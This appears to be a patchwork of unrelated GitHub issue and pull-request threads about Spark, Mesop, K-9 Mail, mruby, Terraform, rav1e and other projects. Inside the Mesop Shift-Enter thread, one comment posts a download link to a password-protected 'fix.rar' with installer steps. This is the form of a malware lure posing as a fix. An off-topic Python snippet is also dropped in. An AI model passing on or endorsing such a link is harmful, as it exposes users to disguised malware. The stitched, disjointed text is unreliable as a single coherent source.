[MLLIB] SPARK-6509: MDLP discretizer

Minimum Description Lenght Discretizer
This method implements Fayyad's discretizer [1] based on Minimum Description Length Principle (MDLP) in order to treat non discrete datasets from a distributed perspective. We have developed a distributed version from the original one performing some important changes.
– Improvements on discretizer:
*Support for sparse data.
*Multi-attribute processing. The whole process is carried out in a single step when the number of boundary points per attribute fits well in one partition (<= 100K boundary points per attribute).
*Support for attributes with a huge number of boundary points (> 100K boundary points per attribute). Rare situation.
This software has been proved with two large real-world datasets such as:
*A dataset selected for the GECCO-2014 in Vancouver, July 13th, 2014 competition, which comes from the Protein Structure Prediction field (http://cruncher.ncl.ac.uk/bdcomp/). The dataset has 32 million instances, 631 attributes, 2 classes, 98% of negative examples and occupies, when uncompressed, about 56GB of disk space.
*Epsilon dataset: http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/binary.html#epsilon. 400K instances and 2K attributes
We have demonstrated that our method performs 300 times faster than the sequential version for the first dataset, and also improves the accuracy for Naive Bayes.
References
[1] Fayyad, U., & Irani, K. (1993).
"Multi-interval discretization of continuous-valued attributes for classification learning."

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Associated publication to this software: S. Ramírez-Gallego, S. García, H. Mouriño-Talin, D. Martínez-Rego, V. Bolón, A. Alonso-Betanzos, J.M. Benitez, F. Herrera. "Distributed Entropy Minimization Discretizer for Big Data Analysis under Apache Spark". IEEE BigDataSE Conference, Helsinki, August, 2015.


from difflib import SequenceMatcher  def calculate_similarity(signature1, signature2):     matcher = SequenceMatcher(None, signature1, signature2)     similarity_ratio = matcher.ratio() * 100     return similarity_ratio  def main():     signature1 = input("Enter the first signature: ")     signature2 = input("Enter the second signature: ")      similarity = calculate_similarity(signature1, signature2)     print("Similarity between the signatures:", similarity, "%")  if name == "main":     main()

@SethTisue problematic bruh, or possibly emblematic.

@Yslbruh it isn't clear what you expected from us here, if anything :shrug:

Who are yall bro😭


Submit text box on Shift-Enter

It would be great to make the input box submit on Shift-Enter.
As said in chat: "You should be able to implement it with web component, but not super straightforward: https://google.github.io/mesop/web-components/"

For an example web component, you can take a look at: https://github.com/google/mesop/tree/main/mesop/examples/web_component/hotkeys
Would need adjustments to make it work internally.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Possible API to support this natively:
me.native_textarea(
        placeholder="Type your message...",
        shortcuts={
            "Enter": None,  # Just does regular newline
            "Shift+Enter": action,
            "Ctrl+Enter": send,
            "Cmd+Enter": send
        },
        style=...
    )

class me.ShortcutEvent:
  key: str # component key?
  shortcut: str # shortcut pressed

Alternative, instead of string, we could have a Shortcut data class.

I think the shortcut event would also need to include the text input. Otherwise we'd have to use on_input. I guess the drawback of that is that it would make the shortcut event less generic.
In terms of the API. How does the dict of shortcuts work? Does it route to a specific event handler function on the client side?
I guess the alternatives is to register the hot keys and then send them all to a single registered event handler. But in that case it'd be less generic, though slightly simpler.
On a side note, I think it could be useful if there was a way to retrieve say the text from the textarea from another component. That could open up other options for APIs I think.

Recapping offline discussion with @richard-to:
Proposed API
Applies to textarea and native_textarea
me.textarea(
  shortcuts={
    me.Shortcut(control=True, key="Enter"): send_handler,
    me.Shortcut(shift=True, key="Enter"): send_handler,
    me.Shortcut(shift=True, key="Enter"): another_action,
  }
)

@dataclass
class TextareaShortcutEvent:
  key: str # component key
  shortcut: Shortcut # shortcut pressed
  value: str # value of the textarea

@dataclass
class Shortcut:
  control: bool
  command: bool
  shift: bool
  key: str

Considerations:

This should be flexible enough for virtually all textarea use cases that we are aware of.
Potentially could use this for other components (e.g. box, to close the dialog in Richard's web component example), however there's some questions on whether the shortcut would require the component to be focused or not (and not every component can be focusable like textarea). For now we will only support textarea and more advanced use cases can be addressed through web components, e.g. #846.


New release to address metabase security vulnerability

Metabase just released an upgrade to patch a severy security vulnerability: https://github.com/metabase/metabase/releases
Can we have updated charts that point to the new version? Sorry I don't know how to work with helm and so am unable to help with a PR myself.

Updated with new release 2.7.4 #70


docs(jest): clarify babel configuration

I copy pasted the original snippet to my babel.config.json.
{
  "babel": {
    "presets": ["@babel/preset-env"]
  }
}

I was wondering why I was getting a weird error: Unknown option: .babel. Check out https://babeljs.io/docs/en/babel-core/#options for more information abou t options.
 As someone not yet intimately familiar with babel, I'm hoping this change would help clarify the distinction between package.json and babel.config.json.

What kind of change does this PR introduce? (check at least one)

[ ] Bugfix
[ ] Feature
[ ] Code style update
[ ] Refactor
[ ] Build-related changes
[x] Other, please describe: Documentation

Does this PR introduce a breaking change? (check one)

[ ] Yes
[x] No

If yes, please describe the impact and migration path for existing applications:
The PR fulfills these requirements:

[x] It's submitted to the dev branch.
[ ] When resolving a specific issue, it's referenced in the PR's title (e.g. fix #xxx[,#xxx], where "xxx" is the issue number)
[ ] All tests are passing: https://github.com/vuejs/vue-test-utils/blob/dev/.github/CONTRIBUTING.md#development-setup
[ ] New/updated tests are included

If adding a new feature, the PR's description includes:

[ ] A convincing reason for adding this feature (to avoid wasting your time, it's best to open a suggestion issue first and wait for approval before working on it)

Other information:
This is a documentation update to differentiate package.json from babel.config.json

Can you try rebasing and running CI again?


perfect-scrollbar in "position: fixed" element causes mouse offset when main document scrolls

I have what is essentially a two-column layout for a page. The left column is fixed-position and has perfect-scrollbar applied to it so the two columns can independently scroll. If I scroll the main document down (visibly, the right column), and then mouse over the fixed-position left column, the mouse's Y position is offset by the amount that I scrolled. Visually, it means as I move my mouse up and down elements in the column, the elements further below the mouse are being highlighted instead of what the mouse is hovering over.
I hope that made sense, I can't share the existing source yet due to client privacy. If unclear, I will try and create a demo page.

Nevermind, ignore this. Turns out the problem was something else entirely. Sorry.


[Application]

X-Team Initiative Application
Whats your Discord Handle

hackphobia#5864

I want to participate as

[X] Developer
[ ] Designer
[ ] Tester
[ ] Writer

What are you skills? (Programming languages and/or other tools)
Please arrange your skills along with experience.

Rust ~2 years
dabbled in multiple smart contract platforms (evm, solana, NEAR, cardano, tendermint)
tokenomics theory since 2017

Describe yourself in a few sentences

I've been keeping track of IOTA and its transformation since 2017. I'm interested in building additional execution environments on ISCP as well as a DeFi dApp.

Why do you like to join the X-Teams?

ISCP is early stage & documentation is not that great, I want to join interesting conversations to ask questions & learn more

What X-Teams would you like to join?

[x] Bee
[ ] Client Libraries
[ ] GoShimmer
[ ] IOTA Access
[ ] IOTA Identity
[ ] IOTA Streams
[ ] Permanodes
[ ] Stronghold
[X] Smart Contracts (ISCP)
[ ] Simplify IOTA

done!


Replace uses of BOOST_SCOPED_ENUM with C++11 scoped enums

This day has come!

Great! Thanks a lot! LGTM.


Permission management

How do i do the permission management on vrata?
I have an API, using lumen by the way, thats have a complexe auth system, in there i can filter witch controler my user has access, but i want to transform that into a microservice, how i going to do that on vrata? If my auth stays on the vrata how my endpoint is going to know who is requesting? and how my endpoint its goind to know the user information? I don't want to duplicate code here, and i want to add later another api made of C++ to interact with. I don't know if i was clear enough.

@pedrosoares
You must change first your APP_ENV  from local to another then if your microservice information in route.json or GATEWAY_ROUTES has not public key , the auth middleware protect your service route automatically.
Note: Dont set auth middleware in your microservice routes!

@pedrosoares "vrata" is adding X-User/X-Token-Scopes HTTP headers to all requests made to microservices so they always know 1) the request passed the authentication 2) who made the request


Add support for composing PGP/MIME messages

We also require some form of UI so the user can select whether to use inline PGP or PGP/MIME.

I'll pick this one up, if that's alright.

That would be great! Also, I assume that you would help to have it so that k9 could read PGP/MIME emails

@fnielson1 The weird thing is, my debug build of K9 seems like it can read PGP/MIME emails just fine! I'm guessing that's a feature which is in the codebase but not yet released.

Really? That's awesome! I'm going to have to just use that on my phone instead.

@Diagoras how long do you think you will need to implement this? I'm willing to sponsor $150 USD to anyone who can get this done in the next 7 days.

Signed PGP/MIME messages are very important to prevent spoofing and various social engineering attacks against K9 users

Sgning is supported but not enabled for some unknown reason. For anyone interested the fix is adding android:checked="true" to cb_crypto_signature in the message_compose.xml layout

Thanks for the tip! That's awesome!
On Thu, Jul 30, 2015 at 7:31 PM, knoy<EMAIL_ADDRESS>wrote:

Sgning is supported but not enabled for some unknown reason. For anyone
interested the fix is adding android:checked="true" to cb_crypto_signature
in the message_compose.xml layout
—
Reply to this email directly or view it on GitHub
https://github.com/k9mail/k-9/issues/572#issuecomment-126536547.

Duplicate of issue 5864

RFC1847 is implemented (#576). Should this (from RFC2015) be also implemented along this issue?

6.2  Combined method
Versions 2.x of PGP also allow data to be signed and encrypted in one
operation.  This method is an acceptable shortcut, and has the
benefit of less overhead.  The resulting data should be formed as a
"multipart/encrypted" object as described above.
Messages which are encrypted and signed in this combined fashion are
REQUIRED to follow the same canonicalization rules as for
multipart/signed objects.
It is explicitly allowed for an agent to decrypt a combined message
and rewrite it as a multipart/signed object using the signature data
embedded in the encrypted version.

Pull request https://github.com/k9mail/k-9/pull/884 fixes this issue.
Commits
https://github.com/alexandre75/k-9/commit/7e4488081061bf611986ce3a203953e9378233f0

solved with #924 and #962. polish, bugs and missing features will be handled in different issues.


Compatibility with Ubuntu

On Ubuntu, the script fails to find the correct folders.

Actually, it was a simple fix, here is the code:
7c8
< CHROME_BASE_DIR="${USER_HOME}/.config/google-chrome"

CHROME_BASE_DIR="${USER_HOME}/Library/Application Support/Google/Chrome"
16c17
< for PROFILE in "${CHROME_BASE_DIR}/Default" "${CHROME_BASE_DIR}"/Profile*; do

for PROFILE in "${CHROME_BASE_DIR}"/Profile*; do
64,65c65,66
< sed -i "s/overleaf.com/${DOMAIN}/g" "$TMP_MANIFEST"
< sed -i "s/"Writefull for Overleaf"/"Writefull for ${DOMAIN}"/g" "$TMP_MANIFEST"

sed -i '' "s/overleaf.com/${DOMAIN}/g" "$TMP_MANIFEST"
sed -i '' "s/"Writefull for Overleaf"/"Writefull for ${DOMAIN}"/g" "$TMP_MANIFEST"

@midarq hi! thank you for the interest, I'm glad that someone found this useful. Thank you for the suggested fix too. I will have time to test it next week when I get my hands on a Linux desktop with GUI. Do you want to submit a pull request?

@midarq hi, thanks again for the bug report and suggested fixes. I did not consider Linux at all in my initial script. Now I added support for Linux for Google Chrome, Chromium, and Chromium installed using snap (as the user data folders are slightly different for all of these).
Feel free to test:
git clone -b linux-fix https://github.com/e-kotov/writefull-for-sharelatex.git
cd writefull-for-sharelatex
chmod +x ./writefull_patch.sh
./writefull_patch.sh

I tested in a VM with Chromium installed from snap and it worked very well.
I will merge this in a few days into the main branch.


Update the docs with vector database information

Purpose
Fixes https://github.com/wso2-enterprise/choreo/issues/30720

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Why I can't use unicode characters in ruby class name or module?

#!/usr/bin/env ruby
# encoding: utf-8

module Żółć
end

class Żółte
end

I can use unicode char in definition of functions

To determine cases for non ASCII characters, we need to embed huge Unicode case information table. I don't think it's sufficient for embeddable implementation of Ruby language.

not exactly.
finction inside object CAN using unicode. Why class name not?

I suppose matz mentioned cases due to the restriction that Ruby class names must be constants, whose names have to begin with an uppercase letter. Therefore, mruby would have to contain case information to determine which Unicode symbols are uppercase. It works for functions because there is no such restriction on function names.

That's correct. You can use Unicode characters in class names if you use ASCII character for the first letter. CRuby followed same rule until 2.3

For arch:
This working, thanks.
#!/usr/bin/env ruby
encoding: utf-8
module MŻółć
end
class MŻółte
end


Llama2 continual pretaining performance evaultion scripts

Describe the feature
I am following Colossal-LLaMA-2 to pretrain my domain llm. To measure it's performance, we need to use open datasets such as MMLU to evaluate. Is there any evaluation scripts available for them? thank you.

Hello😃You can refer to the applications/ColossalEval to evaluate your model.

thanks.


How can I fix difference in zoom of displayed Image at zoom=20 and actual image scanned at 20X.

Hi Ian,
I have a pathology image scanned at 20X magnification and deep zoom tiles were created from it. The Viewer has multiple such images arranged 5 in a row and any number of columns. The max zoom level set to OSD is 40. While trying to view the image at zoom 20, there is a difference between the zooms of the actual image tile and the OSD viewer at max zoom level .
Also, I see that, as  we change the screen size, the actual zoom displayed, for the same zoom value on OSD, is changing. Do you have any setting for controlling this behavior, so that, accurate  zoom can be retained irrespective of the browser dimensions?

The zoom value you get from viewer.viewport.getZoom() is the viewport zoom. which is a ratio of the viewer width. If the image is shown the exact width of the viewer, it's 1. If the image is shown twice the width of the viewer, it's 2.
It sounds like you want the image zoom, where 1 means you're zoomed in to the native resolution of the image, 0.5 means you're zoomed out to half size, etc. This value is unrelated to the size of the viewer. The viewport has a couple of methods for converting between image and viewport zoom:
http://openseadragon.github.io/docs/OpenSeadragon.Viewport.html#imageToViewportZoom
http://openseadragon.github.io/docs/OpenSeadragon.Viewport.html#viewportToImageZoom


Dv360 downloads line items

Issue link: WILL BE INSERTED BY boring-cyborg
Make sure to mark the boxes below before creating PR: [x]

[ ] Description above provides context of the change
[ ] Unit tests coverage for changes (not needed for documentation changes)
[ ] Commits follow "How to write a good git commit message"
[ ] Relevant documentation is updated including usage instructions.
[ ] I will engage committers as explained in Contribution Workflow Example.

In case of fundamental code change, Airflow Improvement Proposal (AIP) is needed.
In case of a new dependency, check compliance with the ASF 3rd Party License Policy.
In case of backwards incompatible changes please leave a note in UPDATING.md.
Read the Pull Request Guidelines for more information.

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@7282591). Click here to learn what that means.
The diff coverage is 58.33%.

@@            Coverage Diff            @@
##             master     #782   +/-   ##
=========================================
  Coverage          ?   61.35%
=========================================
  Files             ?      935
  Lines             ?    45425
  Branches          ?        0
=========================================
  Hits              ?    27870
  Misses            ?    17555
  Partials          ?        0

Impacted Files
Coverage Δ

...ing_platform/example_dags/example_display_video.py
100% <100%> (ø)

...s/google/marketing_platform/hooks/display_video.py
46.66% <33.33%> (ø)

...ogle/marketing_platform/operators/display_video.py
59.39% <51.85%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7282591...bcb74e4. Read the comment docs.


Clarify CSN013's completion status

CSN013 has data missing (identified during issue #5) - specifically eye-tracking data is missing, while all questionnaires & other info is present. Checklist identifies no reason they were discarded, neither does recruitment Google Spreadsheet.

[ ] Either locate CSN013's eye-tracking data or clarify why their eye-tracking data is missing.

CSN013's eye-tracking data was present on the collection computers, and simply hadn't been backed up.
All 4 missing data files (eye-tracking EDF, eye-tracking MAT, behavioral data MAT, tmp behavioral data TXT) have been uploaded to the S drive.

Fantastic will work those new files into the pre-processing phase. Thanks @psokolhessner


Sandbox mode won't work with rails 7.2

I recently upgraded our app (console1984 installed) to rails 7.2 and realized that the sandbox mode did not work. It worked fine when rails 7.1.
The problem seems like calling reconnect! without restore_transactions: true. I added the option and sandbox mode worked again. Furthermore, the sandbox mode breaks if I call ApplicationRecord.connection.reconnect! in a working sandboxed rails console.
https://github.com/basecamp/console1984/blob/f7b85df5866c16ff9ba0c4e3e994cb0d9e0106ab/lib/console1984/sessions_logger/database.rb#L64
See also https://github.com/basecamp/console1984/issues/91.

I changed to use a different DB to store audit logs (followed https://github.com/basecamp/console1984/issues/91#issuecomment-2046247095) and everything works as expected.


Index out of range error when censoring cyrillic language

Describe the bug
When i try to censor a word in cyrillic it throw a panic error
What do you see?
panic: runtime error: index out of range [8] with length 8

goroutine 62 [running]:

github.com/TwiN/go-away.(*ProfanityDetector).Censor(0xc00039bd28, {0xc0001a0c10, 0x10})
        /home/user/.gvm/pkgsets/go1.18rc1/global/pkg/mod/github.com/!twi!n/go-away@v1.6.0/goaway.go:179 +0x6d1

What do you expect to see?
A correct censorship of the word
List the steps that must be taken to reproduce this issue
filter := goaway.NewProfanityDetector().WithCustomDictionary(profanities, fp, fn)

cleanedWord := f.Censor("крывавы")

Version
1.6.0
Additional information
No response

I think the problem is that there are 7 characters, but the len("крывавы") probably returns 14, so character replacement might fail around there:
https://github.com/TwiN/go-away/blob/bd63346fc7f0b3904d8211ed4215f3478e348fcd/goaway.go#L178-L180


event rate

Hi,
Thanks for your interesting work,  fusing events and frames for tracking is worth exploring. I train your network and get similar test results. A minor question, how to statistic event rate?

Can you please share the train code?

Hi, we compute the rate of event stream generated during the recordings as follows: for the event stream of each sequence, we first discretize its time dimension into 1ms intervals. We then count the number of events of each interval and calculate the average number of events of all intervals as the event rate.

Thanks. I got it.

Thanks. I got it.


Try to automatically determine when avn commands are added/altered

The avn command is immensely useful, but it has many options and we don't always find out immediately when it gains the ability to do something new, or when how something works is changed.
The blog post Help scraping: track changes to CLI tools by recording their --help using Git has some interesting ideas.
The first and simplest suggestion is to write a script that asks avn for all its help text, recursively, records it to a file, and reports any changes since the last time it was run. A person can then periodically update avn to the latest version and run this.
If this proves useful, it could be automated and run regularly as part of CI.
A more sophisticated solution (to be investigated later on) might adopt Simon's suggestion in that post of recording the help to a documentation page or pages. This is not normally something one would do, as it gets out of date, but the point here would be to automate its update, and then possibly use the git log as a means of determining that the tool has changed.

There's a command avn help which seems to output a simple (ish) list of all the commands, including subcommands, in one go. I think we could parse this data in a script even if we ran it manually to find out what has been added. It doesn't help with things like "the cli command also works with Redis now" but it's a start.

I think we would need to first complete all the open tickets tagged avn cli and then look at creating a script to check that everything that avn help outputs is relfected in the docs. It won't pick up parameters but it would spot whole new commands. We also probably can try to automate something on the CLI repo itself to notify us of changes in the function signatures for the tool?


ebs_block_devices variable prevents reuse of volumes

Commit ba80ce5982fe17df967050a278cd68f65e4f790a introduced the ability to add additional EBS block devices.
The Terraform docs mention this:

NOTE on EBS block devices: If you use ebs_block_device on an aws_instance, Terraform will assume management over the full set of non-root EBS block devices for the instance, and treats additional block devices as drift. For this reason, ebs_block_device cannot be mixed with external aws_ebs_volume + aws_volume_attachment resources for a given instance.

I have a scenario where I want to use a specific EBS volume and always have it attached to the instance, even if that instance gets terminated by AWS.
I tried to create it with this module, passing this in as var.ebs_block_devices to the module:
  ebs_block_devices = [{
    device_name           = "/dev/sdh"
    volume_type           = "standard"
    volume_size           = 100
    delete_on_termination = false
  }]

When the instance is terminated, the volume is not deleted as requested by the delete_on_termination setting. When launching a replacement instance, the old volume is not reused but a new volume is created and attached.
Would it be OK to drop this ebs_block_devices support in favor of external aws_ebs_volume + aws_volume_attachment?
Via a cloud-init file, I can wait for all disks to be attached first. I have a working solution for one such disk like this:
#cloud-config
bootcmd:
  - 'while [ `lsblk | grep xvdh | wc -l` -lt 1 ]; do echo waiting on disks...; sleep 5; done'
disk_setup:
  /dev/xvdh:
    table_type: mbr
    layout:
      - 100
    overwrite: False
fs_setup:
  - device: /dev/xvdh1
    partition: 1
    filesystem: ext4
mounts:
- [ /dev/xvdh1, /data ]

See the bootcmd specifically.

@iuriaranda has good experience on this and can give a good feedback about this

😊 Actually, it's already there but I have to read the docs and code better. Reading the sources of the module pointed me in the right direction: the ebs_enabled option either uses the inlined ebs_block_devices or not.


Support management of Swap unit files

Pull Request (PR) description
Let .swap unit files be managed with systemd::manage_dropin and systemd::manage_unit.
For example:
systemd::manage_unit{'swapfile.swap':
  ensure        => 'present',
  active        => true,
  enable        => true,
  unit_entry    => {
    'Description' => 'Enable a swapfile at /swapfile',
  }
  swap_entry    => {
    'What' => '/swapfile',
  }
  install_entry => {
    'WantedBy' => 'multi-user.target',
  },
}

https://www.freedesktop.org/software/systemd/man/latest/systemd.swap.html

Huh, looks like this can pretty much replace our entire swap_file module. https://github.com/voxpupuli/puppet-swap_file

Huh, looks like this can pretty much replace our entire swap_file module. https://github.com/voxpupuli/puppet-swap_file

Indeed. It has the advantage you can make it async to the puppet run which matters when creating a 100GBs of zeros.


THRIFT-4205: Set flags for glib+gobject on compilation

Set flags for glib+gobject on compilation so systems like Android doesn't blow up.

Can someone tell why travis fails?

@gadLinux looks like https://issues.apache.org/jira/browse/THRIFT-4202

Good. Wait for a fix. And I will open a new issue, since we detected that thrift crashes when certificate verification not ok.

It seems that the THRIFT-4202 is resolved can we merge this.

Please rebase against master and force push to get a new build going.

Please rebase against master and force push to get a new build going.


Blacklist Persistence

Would like a way to keep the blacklist persistent when the YouTube page is refreshed. Currently, it appears that one must manually "apply" the blacklist each time (or periodically?) upon refresh of the web page.

Hi @iodaniell,
The blacklist should be persisted upon page refresh or browser new instances. I actually never witnessed the behavior you describe...
What version are you running?

Here's the info on one the one I have installed (copied from Firefox -
Manage Extension):
Author Bamdad
https://addons.mozilla.org/en-US/firefox/user/12178173/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=addons-manager-user-profile-link
Version 1.2.17
Last Updated May 2, 2022
Homepage https://github.com/bamdadsabbagh/youtube-blacklist--extension
It's not a big deal. I just notice periodically that something that I
absolutely know is in the filter/black-list sneaks past the filter.
Thanks for your attention.
--
iodaniell
On Tue, May 17, 2022 at 2:09 AM Bamdad Sabbagh @.***>
wrote:

Hi @iodaniell https://github.com/iodaniell,
The blacklist should be persisted upon page refresh or browser new
instances. I actually never witnessed the behavior you describe...
What version are you running?
—
Reply to this email directly, view it on GitHub
https://github.com/bamdadsabbagh/youtube-blacklist--extension/issues/162#issuecomment-1128451469,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AL5KY7YZZPDK3JUYE6VZ33TVKMZ2RANCNFSM5V6A737Q
.
You are receiving this because you were mentioned.Message ID:
@.***
com>

Thanks for the information @iodaniell !
I made some tests today and did reproduce the error, very likely caused by a wrong reference between video_id and channel_id.
I need to figure out why this happens and fix it as soon as I get some free time. I will keep this issue updated.

Thanks.. I'm glad that I wasn't imagining things. I really like the
extension when it works, which it does most of the time.
Good luck on finding the bug.
On Wed, May 18, 2022 at 12:59 PM Bamdad Sabbagh @.***>
wrote:

Thanks for the information @iodaniell https://github.com/iodaniell !
I made some tests today and did reproduce the error, very likely caused by
a wrong reference between video_id and channel_id.
I need to figure out why this happens and fix it as soon as I get some
free time. I will keep this issue updated.
—
Reply to this email directly, view it on GitHub
https://github.com/bamdadsabbagh/youtube-blacklist--extension/issues/162#issuecomment-1130261088,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AL5KY73K24BN3QJTCTKWQX3VKUOXXANCNFSM5V6A737Q
.
You are receiving this because you were mentioned.Message ID:
@.***
com>


Switch adaptive keyframe placement algorithm to a cost-based one + tweaks

Filing a bug as encouraged by peeps on IRC.
Realistically, this will (should) yeild much, much better results than just a basic diff-like algorithm, and is what most reasonable encoders for various codecs seem to use. And, at least to me, most cost-efficient placement makes more sense for an encoder than just 'different', or what a human may call a scene change.
x264's placement decision code is pretty short (by encoder standards), easy to read, and a good reference, IMO: The scenecut and scenecut_internal functions are the relevant ones.
Also of note in those are some simple tweaks that can improve perf quite a lot, I think, like avoiding problems with flashes/strobes.
Of course, I don't know how hard this is to integrate into rav1e with its current code structure, or if it falls under "wait for trellis / aq / etc", etc.
Apologies if this is obvious or not useful to file as a bug.

It's not dependent on aq, it's purely a frame level decision. The existing code importantly added the support for variable GOP structures, but there are definitely much better detection methods.
Basically, we need a lookahead or 2 pass with cost estimates for both a P and I frame.

Lookahead would be better (and what x264 uses), no? (So as to support e.g. streaming.) Unless by 2-pass, you mean something more akin to a lookahead-y small 2-pass rather than full stream?

Lookahead and 2-pass are basically equivalent (one stores the results in memory, one stores the results in a file), I would like to support them with the same code.

Yeah, that's fair.

Thanks for creating an issue to track this. I do have a branch in development that's using lookahead, based on the x264/x265 approach. It is a relatively large endeavour due to not having lookahead yet, but I'm hoping, as mentioned, that the same code could be used for two-pass encoding in the future.

The flash detection was added a while back, and #1528 represents the remaining work on this. I'm going to close this and track the remaining work in #1528.


error

root@raspberrypi:/home/pi/gotubecast/examples# ./raspi.sh
Your pairing code: 538-391-572-221
SAMSUNG SM-G610F connected
panic: interface conversion: interface {} is nil, not string
goroutine 1 [running]:
main.genericCmd(0x7, 0x0, 0x11a18890, 0xb, 0x11ae2128, 0x1, 0x1)
/root/gotubecast/main.go:291 +0x40a0
main.decodeBindStream(0x741afc18, 0x11b34210, 0x11b34210, 0x741afc18)
/root/gotubecast/main.go:233 +0x104
main.main()
/root/gotubecast/main.go:191 +0x11d4

Could you add -d 1 to the gotubecast call in raspi.sh and post the output again? Thanks :)

The issue is at line 291:
currentTime := data["currentTime"].(string)
When setting the playlist there is no currentTime


Example RestAPI using FastAPI and pyodbc to connect to a MSSQL Database

Created a sample RestAPI using FastAPI and pyodbc to connect to a MSSQL Database. Good for learning and seeing a complete example that is a 3rd party library to connect to a database.
FastAPI Examples

POST, GET (One and All Records), PUT, and DELETE
How to call a CRUD Class to interface with a database
Request Body parsing with pydantic for POST's and PUT's
How to get the raw request body using scarlette request.

Python Class to interface to the database

Create record
List all records
Read one record
Update one record
Delete one record

https://github.com/esundberg/FastAPI-pyodbc-mssql-example
Hope this could help someone.

Closing

I assume you solved your problem, thanks for closing the issue :+1:

Bad example. pyodbc is not async-aware, so every database call is synchronous and will block the server. You should rather use aioodbc.


Holographic Remoting + MSBuildForUnity does not work if project name has spaces

Describe the bug
Projects that have spaces in their name such as "New Unity Project" will cause errors when used with the MSBuildForUnity package, which is required to do Holographic Remoting
To reproduce
Steps to reproduce the behavior:

Create a new project named "New Unity Project" and add mrtk 2.2 prerelease
Add MSBuildForUnity via the MixedRealityToolkit configuration window
Close and re-open Unity
Notice that editor will ber stuck in a compilation loop, with the following error text:

H:\New Unity Project\Assets\MixedRealityToolkit.Providers\WindowsMixedReality\DotNetAdapter> dotnet msbuild DotNetAdapter.csproj -restore  -v:minimal -p:NuGetInteractive=true  -t:Clean -p:Configuration=Release
UnityEngine.DebugLogHandler:Internal_Log(LogType, String, Object)
UnityEngine.DebugLogHandler:LogFormat(LogType, Object, String, Object[])
UnityEngine.Logger:Log(LogType, Object)
UnityEngine.Debug:Log(Object)
Microsoft.Build.Unity.<ExecuteMSBuildAsync>d__17:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:403)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<ExecuteMSBuildAsync>d__17&)
Microsoft.Build.Unity.MSBuildProjectBuilder:ExecuteMSBuildAsync(String, String, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.<BuildProjectAsync>d__16:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:396)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<BuildProjectAsync>d__16&)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjectAsync(String, BuildEngine, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.<BuildProjectsAsync>d__10:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:289)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<BuildProjectsAsync>d__10&)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjectsAsync(IReadOnlyCollection`1, String, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjects(IReadOnlyCollection`1, String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:173)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildAllProjects(String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:121)
Microsoft.Build.Unity.MSBuildProjectBuilder:TryBuildAllProjects(String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilderEditor.cs:30)
Microsoft.Build.Unity.ProjectGeneration.MSBuildTools:RefreshGeneratedOutput(Boolean) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:177)
Microsoft.Build.Unity.ProjectGeneration.<>c:<.cctor>g__OnUpdate|18_0() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:149)
UnityEditor.EditorApplication:Internal_CallUpdateFunctions() (at C:\buildslave\unity\build\Editor\Mono\EditorApplication.cs:200)

(Filename<EMAIL_ADDRESS>Line: 403)

Refresh: detecting if any assets need to be imported or removed ...

Refresh Completed time: 0.072013s
	Asset Scan time: 0.068356s
	Asset Hashing: 0.000000s [0 B, 0.000000 mb/s]
	Asset Import (Scripting) time: 0.000000s (count: 0)
	Post Processs Assets (Scripting) time: 0.000000s
	Asset Rehashing: 0.000000s [0 B, 0.000000 mb/s]
	Asset Import (Non Scripting) time: 0.000000s (count: 0)
	Post Process Assets (Non Scripting) time: 0.000000s
	Dependent Assets to Import Queue time: 0.000000s

DirectoryNotFoundException: Could not find a part of the path<EMAIL_ADDRESS>  at System.IO.FileStream..ctor (System.String path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share, System.Int32 bufferSize, System.Boolean anonymous, System.IO.FileOptions options) [0x00164] in <e1319b7195c343e79b385cd3aa43f5dc>:0
  at System.IO.FileStream..ctor (System.String path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share, System.Int32 bufferSize, System.IO.FileOptions options, System.String msgPath, System.Boolean bFromProxy, System.Boolean useLongPath, System.Boolean checkHost) [0x00000] in <e1319b7195c343e79b385cd3aa43f5dc>:0
  at (wrapper remoting-invoke-with-check) System.IO.FileStream..ctor(string,System.IO.FileMode,System.IO.FileAccess,System.IO.FileShare,int,System.IO.FileOptions,string,bool,bool,bool)
  at System.IO.StreamReader..ctor (System.String path, System.Text.Encoding encoding, System.Boolean detectEncodingFromByteOrderMarks, System.Int32 bufferSize, System.Boolean checkHost) [0x00067] in <e1319b7195c343e79b385cd3aa43f5dc>:0
